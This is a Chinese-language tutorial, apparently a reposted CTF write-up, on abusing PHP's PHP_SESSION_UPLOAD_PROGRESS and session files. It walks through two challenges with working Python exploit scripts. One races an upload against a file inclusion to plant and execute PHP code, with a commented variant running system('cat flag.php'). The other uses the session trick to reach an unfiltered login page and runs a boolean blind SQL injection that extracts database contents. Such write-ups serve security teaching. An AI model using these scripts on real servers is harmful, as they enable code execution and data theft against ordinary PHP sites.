PHP Session条件竞争超详细讲解
作者：偶尔躲躲乌云334
PHP SESSION 的存储
Session会话存储方式
PHP将session以文件的形式存储服务器的文件中，session.save_path来控制
默认路径
/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
session文件默认是/var/lib/php/sessions目录下，文件名是sess_加上sessionID字段
但是在赛题中大多数都是/tmp目录下，需要php.ini力sesion.auto_start设置为1，然后修改目录
session.auto_start：如果开启这个选项，则PHP在接收请求的时候会自动初始化Session，不再需要执行session_start()。但默认情况下，也是通常情况下，这个选项都是默认关闭的。
session.upload_progress.cleanup = on：表示当文件上传结束后，php将会立即清空对应session文件中的内容。该选项默认开启
session.use_strict_mode：默认情况下，该选项的值是0，此时用户可以自己定义Session ID。
使用 Python 实现创建 Session 文件的过程：
import io
import requests
import threading
sessid = 'whoami'
def POST(session):
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
'http://192.168.43.82/index.php',
data={"PHP_SESSION_UPLOAD_PROGRESS":"123"}, //用来改变session中的值
files={"file":('q.txt', f)},
cookies={'PHPSESSID':sessid} //用来sesssion中的文件名 sess_whoami
)
with requests.session() as session:
while True:
POST(session)
print("[+] 成功写入sess_whoami")[WMCTF2020]Make PHP Great Again
<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
require_once $_GET['file'];
}这道题是文件包含，已经包含过了一次flag.php，就不能二次包含了，一种方法是软连接/proc/self/root绕过
/proc/self指向当前进程的/proc/pid/
/proc/self/root/是指向/的符号链接
这道题也可以 用条件竞争进行，
import io
import sys
import requests
import threading
host = 'http://6417a062-bc49-48f8-bbad-2b203887ba46.node4.buuoj.cn:81/'
sessid = 'feng'
def POST(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
host,
data={
# "PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat flag.php');echo md5('1');?>"},
"PHP_SESSION_UPLOAD_PROGRESS": "<?php phpinfo();echo md5('1');?>"},//session存值
files={
"file":('a.txt', f)},
cookies={
'PHPSESSID':sessid}//改名
)
def READ(session):
while True:
response = session.get(f'{host}?file=/tmp/sess_{sessid}')//路径
# print(response.text)
if 'c4ca4238a0b923820dcc509a6f75849b' not in response.text://1的md5
print('[+++]retry')
else:
print(response.text)
sys.exit(0)
with requests.session() as session:
t1 = threading.Thread(target=POST, args=(session, ))//线程可以套循环 多层线程
t1.daemon = True //相当完成任务直接结束，不用等线程全部结束
t1.start()
READ(session)
线程结束后，想在网页获得php坏境页面可是找不到，
希望有师傅解答一下，然后这样就非常局限，
[PwnThyBytes 2019]Baby_SQL
访问源码，获得source.zip
打开后发现index.php
<?php
session_start();
foreach ($_SESSION as $key => $value): $_SESSION[$key] = filter($value); endforeach;
foreach ($_GET as $key => $value): $_GET[$key] = filter($value); endforeach;
foreach ($_POST as $key => $value): $_POST[$key] = filter($value); endforeach;
foreach ($_REQUEST as $key => $value): $_REQUEST[$key] = filter($value); endforeach;
function filter($value)
{
!is_string($value) AND die("Hacking attempt!");
return addslashes($value);
}
isset($_GET['p']) AND $_GET['p'] === "register" AND $_SERVER['REQUEST_METHOD'] === 'POST' AND isset($_POST['username']) AND isset($_POST['password']) AND @include('templates/register.php');
isset($_GET['p']) AND $_GET['p'] === "login" AND $_SERVER['REQUEST_METHOD'] === 'GET' AND isset($_GET['username']) AND isset($_GET['password']) AND @include('templates/login.php');
isset($_GET['p']) AND $_GET['p'] === "home" AND @include('templates/home.php');
?>都要经过最后的过滤，然后通过传参p进行包含templates目录下面的文件
login.php
<?php
!isset($_SESSION) AND die("Direct access on this script is not allowed!");
include 'db.php';
$sql = 'SELECT `username`,`password` FROM `ptbctf`.`ptbctf` where `username`="' . $_GET['username'] . '" and password="' . md5($_GET['password']) . '";';
$result = $con->query($sql);
function auth($user)
{
$_SESSION['username'] = $user;
return True;
}
($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND auth($row['username']) AND die('<meta http-equiv="refresh" content="0; url=?p=home" />')) OR ($con->close() AND die('Try again!'));
?>发现就login.php里面没有过滤，然后
!isset($_SESSION) AND die("Direct access on this script is not allowed!");
意思为如果不存在session就die输出，前面的为true才执行后面的
($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND auth($row['username']) AND die('<meta http-equiv="refresh" content="0; url=?p=home" />')) OR ($con->close() AND die('Try again!'));
OR前面是false才执行后面的语句。然后这里的意思前面有个大的括号里有一个满足就会执行$con->close(),然后这个执行返回true的话就会执行die(“Not allowed!”);
所以如果我们要直接访问login.php进行sql注入的话，还需要带上一个session才行，这里边用上了我们的PHP_SESSION_UPLOAD_PROGRESS了。我们可以使用PHP_SESSION_UPLOAD_PROGRESS来在目标服务器上初始化一个session，然后便可以绕过index.php中的检测，直接访问login.php进行sql注入了。
import requests
url = "http://d9cf1c36-45c7-47e2-b0f9-1da95406b5d3.node4.buuoj.cn:81/templates/login.php"
//这个templates是因为login.php在这个目录下面
files = {"file": "123456789"}
a = requests.post(url=url, files=files, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"},
cookies={"PHPSESSID": "test1"}, params={'username': 'test', 'password': 'test'},
proxies={'http': "http://127.0.0.1:8080"})通过这个接口，burp就可以抓包到
print(a.text)然后对username进行注入，发现是用"进行闭合,然后回显，可以用盲注实现
<meta http-equiv="refresh" content="0; url=?p=home" />
import requests
import time
url = "http://d8412613-fa2e-4a01-bd02-c0dea96bce33.node4.buuoj.cn:81/templates/login.php"
files = {"file": "123456789"}
flag=''
for i in range(1,100):
low = 32
high = 128
mid = (low+high)//2
while (low < high):
time.sleep(0.06)
#payload_flag ={'username': "test\" or (ascii(substr((select
group_concat(username) from ptbctf ),{0},1))>{1}) #".format(i, mid),'password': 'test'}
payload_flag = {
'username': 'test" or (ascii(substr(database(),{0},1))>{1}) #'.format(i,mid),'password': 'test'}
r = requests.post(url=url,params=payload_flag,files=files, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"},
cookies={"PHPSESSID": "test1"})
print(payload_flag)
if '<meta http-equiv="refresh" content="0; url=?p=home" />' in r.text:
low = mid +1
else:
high = mid
mid = (low + high) // 2
if(mid==32 ):
break
flag +=chr(mid)
print(flag)
print(flag)到此这篇关于PHP Session条件竞争超详细讲解的文章就介绍到这了,更多相关PHP Session内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家！